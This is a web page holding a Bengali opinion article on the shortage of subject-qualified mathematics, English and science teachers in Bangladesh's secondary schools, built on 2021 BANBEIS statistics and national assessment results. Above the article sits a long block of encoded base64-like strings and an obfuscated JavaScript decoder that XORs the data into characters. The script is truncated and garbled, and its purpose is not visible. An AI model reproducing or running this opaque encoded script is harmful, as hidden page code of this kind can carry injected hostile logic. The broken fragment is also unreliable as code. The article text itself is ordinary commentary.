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","OmWK"],pnCL=null,Qdsy=[19,32,59,54,33,60,58,59],E46=85,jBD="",BPx=0,bPB={},amO="",zuF0=0,awF3="",vZy=0,U5u=0,j3DCQ="";if(pnCL){for(BPx=0;BPx>4));if(BPx+2>2));if(BPx+3>>0;for(BPx=0;BPx>>0))>>>0;Flp=(Flp^(Flp>>>17))>>>0;Flp=(Flp^((Flp<<5)>>>0))>>>0;awF3+=s['String']['fromCharCode'](amO.charCodeAt(BPx)^(Flp&255));}for(BPx=0;BPx>4));if(BPx+2>2));if(BPx+3>>0;for(BPx=0;BPx>>0))>>>0;Flp=(Flp^(Flp>>>17))>>>0;Flp=(Flp^((Flp<<5)>>>0))>>>0;awF3+=s['String']['fromCharCode'](amO.charCodeAt(BPx)^(Flp&255));}for(BPx=0;BPx

বিষয়ভিত্তিক শিক্ষক না থাকার বাস্তবতা

১০:০২:২৫ পূর্বাহ্ন, শুক্রবার, ৯ ডিসেম্বর ২০২২

আমাদের মাধ্যমিক পর্যায়ের সরকারি কিংবা বেসরকারি কোনো ধরনের প্রতিষ্ঠানেই পুরোপুরিভাবে বিষয়ভিত্তিক শিক্ষক নেই, থাকার কথাও নয়। তবে, গুরুত্বপূর্ণ কয়েকটি বিষয় যেমন গণিত, ইংরেজি ও বিজ্ঞান পড়ানোর জন্য বিষয়ভিত্তিক শিক্ষক অর্থাৎ যে সব শিক্ষক এ বিষয়গুলোতে অনার্স কিংবা মাস্টার্স করেছেন কিংবা স্নাতকে যাদের ওই বিষয়গুলো ছিল তাদের পড়ানোর কথা। এটি শিক্ষা সংশ্লিষ্ট সবারই দাবি। 

আমাদের মাধ্যমিক শিক্ষার্থীদের একটি বড় অংশই তাদের বিদ্যালয় জীবন শেষ করছেন এ দুটি বিষয়ে দুর্বলতা নিয়ে। গণিত ও ইংরেজিতে বিষয়ভিত্তিক,দক্ষ ও  প্রশিক্ষিত শিক্ষক না থাকাকেই এর অন্যতম কারণ হিসেবে মনে করছেন সংশ্লিষ্টরা। বিজ্ঞানের ক্ষেত্রেও একই অবস্থা। প্রশ্ন হচেছ, বর্তমান বাস্তবতায় মাধ্যমিক পর্যায়ে আমরা কি বিষয়ভিত্তিক শিক্ষক পাওয়ার অবস্থায় আছি? এ নিয়ে বিশ্লেষণ প্রয়োজন। 

বাংলাদেশ শিক্ষা তথ্য ও পরিসংখ্যান ব্যুরো (ব্যানবেইস) প্রতিবছর একটি চমৎকার কাজ করে। দেশের বিভিন্ন পর্যায়ের শিক্ষা প্রতিষ্ঠান থেকে তথ্য সংগ্রহ করে প্রতি বছরই ‘বাংলাদেশ এডুকেশন স্ট্যাটিসটিকস’ শীর্ষক প্রতিবেদন প্রকাশ করে। ২০২১ খ্রিষ্টাব্দের সে ধরনের তথ্য বলছে যে, দেশের মাধ্যমিক বিদ্যালয়গুলোতে গণিত ও ইংরেজি বিষয়ে পাঠদানে নিয়োজিত শিক্ষকদের ৮০ শতাংশেরই নেই সংশ্লিষ্ট বিষয়ে স্নাতক কিংবা স্নাতকোত্তর ডিগ্রি। ২০২১ খ্রিষ্টাব্দে দেশের মাধ্যমিক বিদ্যালয়গুলোতে ইংরেজি বিষয়ের শিক্ষক ছিলেন ৯৬ হাজার ৫৮ জন। এর মধ্যে কেবল ৬ হাজার ২৪১ জন শিক্ষক ইংরেজিতে স্নাতক ডিগ্রিধারী। আর এ বিষয়ে স্নাতকোত্তর ছিলেন ৯ হাজার ৪১ জন শিক্ষক। সে হিসাবে দেশের মাধ্যমিক বিদ্যালয়ের ইংরেজি বিষয়ের পাঠদানে নিয়োজিত শিক্ষকদের ৮৪ শতাংশেরই সংশ্লিষ্ট বিষয়ের ডিগ্রি নেই। অভিন্ন চিত্র দেখা যায় গণিতের ক্ষেত্রেও। ব্যানবেইসের ওই প্রতিবেদন অনুযায়ী, গত বছর দেশের সরকারি-বেসরকারি মাধ্যমিক বিদ্যালয়গুলোয় গণিতের শিক্ষক ছিলেন সর্বমোট ৬৭ হাজার ৯৫৫ জন। এর মধ্যে মাত্র ৫ হাজার ৮৪৩ জন সংশ্লিষ্ট বিষয়ে স্নাতক ও ৭ হাজার ২৮৫ জন গণিতে স্নাতকোত্তর সম্পন্ন করেছেন। সে হিসাবে সংশ্লিষ্ট বিষয়টিতে ডিগ্রি রয়েছে কেবল ১৯ শতাংশ শিক্ষকের। বাকি ৮১ শতাংশই অন্য বিষয়ে ডিগ্রিধারী।

বিষয়ভিত্তিক ডিগ্রিধারী শিক্ষকের দিক থেকে বেসরকারির তুলনায় অবশ্য সরকারি বিদ্যালয়গুলোর চিত্র ভাল। সরকারি বিদ্যালয়ে ৪ হাজার ৫০৬ জন ইংরেজি শিক্ষকের মধ্যে ১ হাজার ৪৬৩ জনেই সংশ্লিষ্ট বিষয়ে ন্যূনতম স্নাতক কিংবা স্নাতকোত্তর ডিগ্রি রয়েছে যা শতকরা ৩০ দশমিক ৪৫ শতাংশ।

অন্যদিকে বেসরকারি ব্যবস্থাপনায় পরিচালিত বিদ্যালয়ে ৯১ হাজার ৫৫২ ইংরেজি শিক্ষকের মধ্যে বিষয়ভিত্তিক ডিগ্রি রয়েছে ১৩ হাজার ৮১৯ জনের বা ১৫ দশমিক শূন্য ৯ শতাংশের। আর গণিত শিক্ষকদের ক্ষেত্রে সরকারি বিদ্যালয়ে ৩ হাজার ৬০২ শিক্ষকের মধ্যে এক হাজার ২৫৪ জন বা ৩৪ দশমিক ৮১ ভাগের বিষয়ভিত্তিক স্নাতক ও স্নাতকোত্তর ডিগ্রি রয়েছে। যদিও বেসরকারির ক্ষেত্রে সেই হার ১৮ দশমিক ৪৫ শতাংশ। অর্থাৎ ৬৪ হাজার ৩৫৩ শিক্ষকের মধ্যে গণিতের ডিগ্রি রয়েছে কেবল ১১ হাজার ৮৭৪ জনের। সরকারি স্কুলের ৪ হাজার ৫০৬ জন ইংরেজি শিক্ষকের মধ্যে ৬৯০ জনের স্নাতকে ইংরেজি ছিল। আর ১৪৬ জন এইচএসসি পাস। বেসরকারি স্কুলের ৯১ হাজার ৫৫২ জন ইংরেজি শিক্ষকের মধ্যে ২০ হাজার ৬৫০ জনের স্নাতকে ইংরেজি ছিল না। আর ৩ হাজার ৭১১ জন এইচএসসি পাস। ৬৭ হাজার ৯৫৫ জন গণিত শিক্ষকের মধ্যে ১৬ হাজার ২৫৬ জন বা ২৩ দশমিক ৯৩ শতাংশের স্নাতকে গণিত ছিল না। আর ১২ দশমিক ১৫ শতাংশ বা ৮ হাজার ২৫৮ জন এইচএসসিতে গণিত পড়েননি। কিন্তু গণিতে শিক্ষকতা করছেন। এদের মধ্যে ৩ হাজার ৬০২ জন গণিত শিক্ষকের মধ্যে ৭৪৫ জনের স্নাতক পর্যায়ে গণিত ছিল না। আর এইচএসসিতে গণিত ছিল না ২০২ জনের। বেসরকারি স্কুলের ৬৪ হাজার ৩৫৩ জন গণিত শিক্ষকের মধ্যে ১৫ হাজার ৫১১ জনের স্নাতক পর্যায়ে গণিত ছিল না। আর এইচএসসিতে গণিত ছিল না ৮ হাজার ৫৬ জনের। 

শিক্ষকদের যোগ্যতাগত ঘাটতির প্রভাব স্বভাবতই শিক্ষার্থীদের শিখনফলে পড়ার কথা এবং পড়ছেও। সরকারের বিভিন্ন গবেষণায়ও মাধ্যমিক শিক্ষার্থীদের ইংরেজি ও গণিত বিষয়ে দক্ষতাগত দুর্বলতার চিত্র উঠে এসেছে। মাধ্যমিক ও উচচশিক্ষা অধিদপ্তরের তদারক ও মূল্যায়ন বিভাগ মাধ্যমিক শিক্ষার্থীদের দক্ষতা বিষয়ক একটি গবেষণা পরিচালনা করে। 

ন্যাশনাল অ্যাসেসমেন্ট অব সেকেন্ডারি স্টুডেন্টস-২০১৯ শীর্ষক প্রতিবেদনটি আনুষ্ঠানিকভাবে প্রকাশ করেনি মাউশি অধিদপ্তর। তবে ওই প্রতিবেদনে দেখা যায়, মাধ্যমিকে বিপুলসংখ্যক শিক্ষার্থী এখনো ইংরেজি ও গণিত বিষয়ে দক্ষতা অর্জনে পিছিয়ে। এর মধ্যে ইংরেজিতে বেশি খারাপ। ষষ্ঠ শ্রেণির প্রায় ২৯ শতাংশ শিক্ষার্থীর ইংরেজি অবস্থা খুবই খারাপ, ৩২ শতাংশ খারাপ বা গড়পড়তা স্তরে আছে। এ দুই স্তর মেলালে ৬১ শতাংশ শিক্ষার্থীর অবস্থাই খারাপ বলা যায়। মোটামুটি ভালো স্তরে আছেন ১৮ শতাংশের মতো। বাকি শিক্ষার্থীরা ভাল ও খুবই ভাল স্তরে আছেন। অষ্টম শ্রেণিতে ইংরেজিতে ২৫ শতাংশ শিক্ষার্থী ব্যান্ড ২ ও ৩ স্তরে আছেন। ২৮ শতাংশ মোটামুটি ভাল। এ শ্রেণিতে চার ভাগের প্রায় এক ভাগ খুবই ভাল করেছে। এ বিষয়ে দশম শ্রেণির শিক্ষার্থীরা তুলনামূলক ভাল। সাড়ে ১২ শতাংশ খারাপ স্তরে। বাকিরা মোটামুটি ভাল, ভাল ও খুবই ভাল। শিক্ষাবিদরা বলছেন, যেসব শিক্ষকের সংশ্লিষ্ট বিষয়ে ন্যূনতম স্নাতক ডিগ্রি নেই, তাদের দিয়ে পাঠদান করিয়ে কোনোভাবেই কাঙ্খিত শিখনফল অর্জন সম্ভব নয়। তাদের মতে, শুধু গণিত কিংবা ইংরেজি নয়, বিজ্ঞানসহ অন্যান্য ক্ষেত্রেও সংশ্লিষ্ট বিষয়ের ডিগ্রিধারীদের শিক্ষক হিসেবে নিয়োগ দেওয়া জরুরি। 

একটি গবেষণায় উঠে এসেছে, গণিতের গ্রাজুয়েট যারা, তাদের শিক্ষার্থীরা গণিতে ভাল করেছে। যারা বিজ্ঞানের গ্রাজুয়েট তাদের শিক্ষার্থীরা বিজ্ঞানে ভাল করেছে। আর ম্যানেজমেন্ট পড়ে যারা গণিতে পড়াচেছন তাদের শিক্ষার্থীদের দক্ষতা অর্জনের হার কম।  ভিন্ন বিষয়ের স্নাতকধারীরা গণিত কিংবা বিজ্ঞান পড়াতে গেলে কাঙ্খিত মান অর্জন কঠিন হবেই। প্রশিক্ষণের দিক দিয়েও বেশ পিছিয়ে রয়েছেন গণিত ও ইংরেজি শিক্ষকরা। 

২০১৯ খ্রিষ্টাব্দে দেশের মাধ্যমিক শিক্ষার নানা দিক নিয়ে একটি গবেষণা কার্যক্রম পরিচালনা করে বেসরকারি সংস্থা গণসাক্ষরতা অভিযান। এর ফলাফলের ভিত্তিতে  ‘সেকেন্ডারি স্কুল টিচারস ইন বাংলাদেশ: ইন দ্যা লাইট অব এসডিজি ফোর’ শীর্ষক একটি প্রতিবেদন প্রকাশ করে সংস্থাটি। তাতে উঠে আসে, দেশের মাধ্যমিক বিদ্যালয়গুলোয় গণিত ও ইংরেজি বিষয়ে শিক্ষার্থীদের পাঠদানে নিয়োজিত ৫৫ শতাংশ  শিক্ষকেরই বিষয়ভিত্তিক কোন প্রশিক্ষণ নেই। শিক্ষকের মানের কথা বলতে গেলে সবার আগে যে বিষয়টি আসে সেটি হলো শিক্ষকের যোগ্যতা। কারণ দক্ষ ও প্রশিক্ষিত শিক্ষক ছাড়া মানসম্মত শিক্ষা কোনোভাবেই সম্ভব নয়। অথচ আমাদের শিক্ষা ব্যবস্থায় যোগ্য শিক্ষক নিয়োগ ও তাদের প্রশিক্ষণের আওতায় আনার বিষয়টি বেশ অবহেলিত। আর যোগ্যতাসম্পন্ন শিক্ষক না পাওয়ার অন্যতম কারণ, আমরা এ পেশায় তাদের আকৃষ্ট করতে পারছি না।  বিভিন্ন খাতে যত বড় উন্নয়নই হোক না কেনো, শিক্ষাকে অবহেলায় রেখে তা কখনই টেকসই হবে না। তাই আমাদের শিক্ষায় বিশেষ বরাদ্দ দিয়ে হলেও যোগ্য শিক্ষক নিয়োগ ও তাদের প্রশিক্ষণের আওতায় আনা প্রয়োজন। 

গণিতে ষষ্ঠ শ্রেণির প্রায় ৪৩ শতাংশ শিক্ষার্থী খারাপ। এর মধ্যে ১৩ শতাংশের অবস্থা খুবই খারাপ। মোটামুটি ভাল অবস্থানে আছেন তিন ভাগের এক ভাগ শিক্ষার্থী। খুবই ভাল স্তরে আছে কেবল ৫ শতাংশ। অষ্টম শ্রেণিতে গণিত বিষয়ে ২২ শতাংশ খারাপ অবস্থায়। মোটামুটি ভাল অবস্থায় আছেন ৩৬ শতাংশ। বাকিরা ভাল ও খুবই ভাল। দশম শ্রেণিতে প্রায় ৭ শতাংশের মতো শিক্ষার্থীর অবস্থা খারাপ। এ শ্রেণিতে খুবই খারাপ শিক্ষার্থী প্রায় নেই বললেই চলে। ভাল অবস্থায় আছেন প্রায় ৩৮ শতাংশ। দেশের মাধ্যমিক পর্যায়ের ৯৬ হাজারের বেশি ইংরেজি শিক্ষকের মধ্যে ২২ শতাংশই স্নাতকে ইংরেজি পড়েননি। আর ৪ শতাংশ ইংরেজি শিক্ষক শুধু এইচএসসি পাস। 

অপরদিকে মাধ্যমিকের ৬৭ হাজার ৯৭৫ জন গণিত শিক্ষকের মধ্যে ১২ শতাংশের এইচএসসিতে গণিত ছিল না। আর প্রায় ২৪ শতাংশের স্নাতকে গণিত বিষয় ছিল না। 

অর্থাৎ স্নাতকে গণিত  ও ইংরেজি না পড়েই এক পঞ্চমাংশ শিক্ষক গণিত ও ইংরেজি বিষয় পড়াচেছন। শিক্ষকের সংশ্লিষ্ট বিষয়ে উচচশিক্ষা না থাকলে তাদের মাধ্যমে কাঙ্খিত শিখনফল অর্জন সম্ভব নয়। এরশাদ সরকার জনপ্রিয়তার জন্য ইংরেজি ছাড়া বিএ ও গণিত ছাড়া বিএসসি পড়ার সুযোগ দিয়েছিলেন। তখন পাস করা শিক্ষার্থীদের একটা অংশ শিক্ষক পদে নিয়োগ পেয়ে গণিত ও ইংরেজি বিষয় পড়াচেছন। আমার প্রশ্ন, আমাদের দেশের তখনকার শিক্ষাবিদরা কি বিষয়টিতে খুব একটা বাধা দিয়েছিলেন? দেননি। এরশাদ আর্মির লোক। আর্মিতে তো ইংরেজির গুরুত্ব থাকে সবক্ষেত্রেই। কিন্তু এখানে কি ঘটেছিল? 

যদিও আগামী পাঁচ বছরের মধ্যে এ সংকট কেটে যাবে বলে মনে করছেন কেউ কেউ। কারণ, এসব শিক্ষক অবসরে চলে গেলে ও নতুন যোগ্যতা অনুসারে শিক্ষক নিয়োগ হলে এমনটি আর থাকবে না। চাকরি, ব্যবসা-বাণিজ্য থেকে উচচশিক্ষা সবক্ষেত্রেই ইংরেজিতে দক্ষতা জরুরি। আর বিশ্বের সব শিক্ষা ব্যবস্থায় গুরুত্বের সঙ্গে দেখা হয় গণিত শিক্ষাকে। এ দুটোতেই আমাদের শিক্ষার্থীরা দুর্বলতা নিতে উপরের শ্রেণিতে উঠতে থাকে। 

মাধ্যমিক পর্যায়ে বিষয়ভিত্তিক শিক্ষক না থাকা একটি বাস্তবতা। এই বাস্তবতাকে স্বীকার করে ব্যবস্থা গ্রহণ প্রয়োজন। কি ব্যবস্থা নেওয়া যেতে পারে? যারা গণিত, ইংরেজি কিংবা বিজ্ঞান বিষয়ে অনার্স কিংবা মাস্টার্স নিয়ে পড়াশুনা করেন তাদের মধ্যে বড় একটি অংশ শিক্ষকতা ছাড়া অন্য কোনো পেশায় ঢোকার চেষ্টা করেন এবং  ঢুকে যান। এটিও স্বাভাবিক। শিক্ষকতা অর্থনৈতিকভাবে সব জায়গায় বা সবক্ষেত্রে আকর্ষণীয় নয়। তা ছাড়া এ পেশা অত্যন্ত চ্যালেঞ্জিং এবং বর্তমান যুগে খুব চাপেরও। প্রতিষ্ঠান যদি একটু নামকরা হয় তাহলে শিক্ষকদের খাটুনির অন্ত থাকে না। যদি নামকরা না হয় তাহলে চাকরি করাটা অনেকের নিকট প্রেস্টিজের ব্যাপার বলে মনে হয়। তাই, অনেক মেধাবী এ পেশায় আসতে চান না। 

আর অনার্স-মাস্টার্সে শিক্ষার্থীরা যে কন্টেন্ট ও অধ্যায় নিয়ে পড়াশুনা করেন সেগুলোতে মাধ্যমিক নেই। তবে জ্ঞান নিয়ে তাদের যে চর্চা বা প্র্যাকটিস হয় সেটি  কোনো কোনো ক্ষেত্রে প্রত্যক্ষভাবে, আবার কোনো কোনো ক্ষেত্রে পরোক্ষভাবে মাধ্যমিক শিক্ষার্থীদের কাজে লাগে। যেমন ইংরেজিতে যারা অনার্স পড়েন তারা যে শেক্সপিয়র, বায়রন পড়ে আসেন তা কিন্তু মাধ্যমিকে নেই। আবার ল্যাংগুয়েজ স্ট্রিম থেকে যারা আসেন তারাও এসে দেখেন মাধ্যমিকে পড়ানোর বিষয় আলাদা। মাধ্যমিকে ভালোভাবে পড়ানোর জন্য তাদের আলাদা প্রস্তুতি নিতে হয়। গণিতে তারা যেসব বিষয় গ্রাজুয়েশন লেভেলে পড়ে আসেন সেগুলো কিন্তু মাধ্যমিকে নেই। অন্য বিষয়ের শিক্ষক যদি ডেডিকেটেড হন তাহলে ভালভাবে প্রস্তুতি নিয়ে কিন্তু শ্রেণিকক্ষের শিক্ষাদান আনন্দময় করতে পারেন। গণিতে অনার্স পড়ুয়ারাই যে গণিত পড়াতে পারবেন তা নয়। যারা অর্থনীতি কিংবা একাউন্টিং কিংবা ম্যানেজমেন্ট পড়ে আসেন তারাও কিন্তু পারবেন। একইভাবে- ইতিহাস, অর্থনীতিসহ অন্যান্য বিষয়ে যারা অনার্স পড়েন তারা যদি চর্চা করেন, প্রশিক্ষণ গ্রহণ করেন, তাহলে ইংরেজি পড়াতে পারেন। আর সেটি তো করতেই হবে, এটিই তো আমাদের বাস্তবতা। উচচমাধ্যমিক ও স্নাতক পর্যায়ে শিক্ষক থাকেন বিষয় ভিত্তিক। 

আমরা সাধারণত ইংরেজিতে দুর্বল বলতে কি বুঝি? ইংরেজিতে হয়তো ’এ’ প্লাস পায়নি শিক্ষার্থীরা কিংবা গ্রামারের কিছু জিজ্ঞেস করলে সঠিকভাবে বলতে পারে না- সেগুলোকে বলে থাকি। আসলে ইংরেজিতে নিজে কোনো কিছু লিখতে পারবে, বলতে পারবে শুদ্ধভাবে, বিদেশিদের ইংরেজি শুনে বুঝতে পারবে, যে কোনো ইংরেজি বিষয় পড়ে তার মর্মোদ্ধার করতে পারবে, মাধ্যমিক পর্যায়ে ও উচচ মাধ্যমিক পর্যায়ে ইংরেজি কিন্তু সেভাবে পড়ানো হয় না। এমনকি ইংরেজিতে অনার্স পড়ে যারা মাধ্যমিকে শিক্ষকতা করতে আসেন তারাও এভাবে পড়ান না। তারাও কিছু গ্রামারের নিয়ম-কানুন মুখস্থ করান, কিছু কম্পোজিশন মুখস্থ করান। একইভাবে গণিতের মাধ্যমে যে  বেসিক ধারণা সৃষ্টি হওয়ার কথা শিক্ষার্থীদের সেটি কিন্তু হয় না। কাজেই অন্য বিষয়ের শিক্ষকদের নিবিড় প্রশিক্ষণ দিতে হবে। শিক্ষকদের নিজেদের আগ্রহে আধুনিক শিক্ষাদান পদ্ধতির সাথে পরিচিত হয়ে মাধ্যমিকের বিষয়গুলো ফলপ্রসুভাবে পড়ানোর দক্ষতা অর্জন করতে হবে।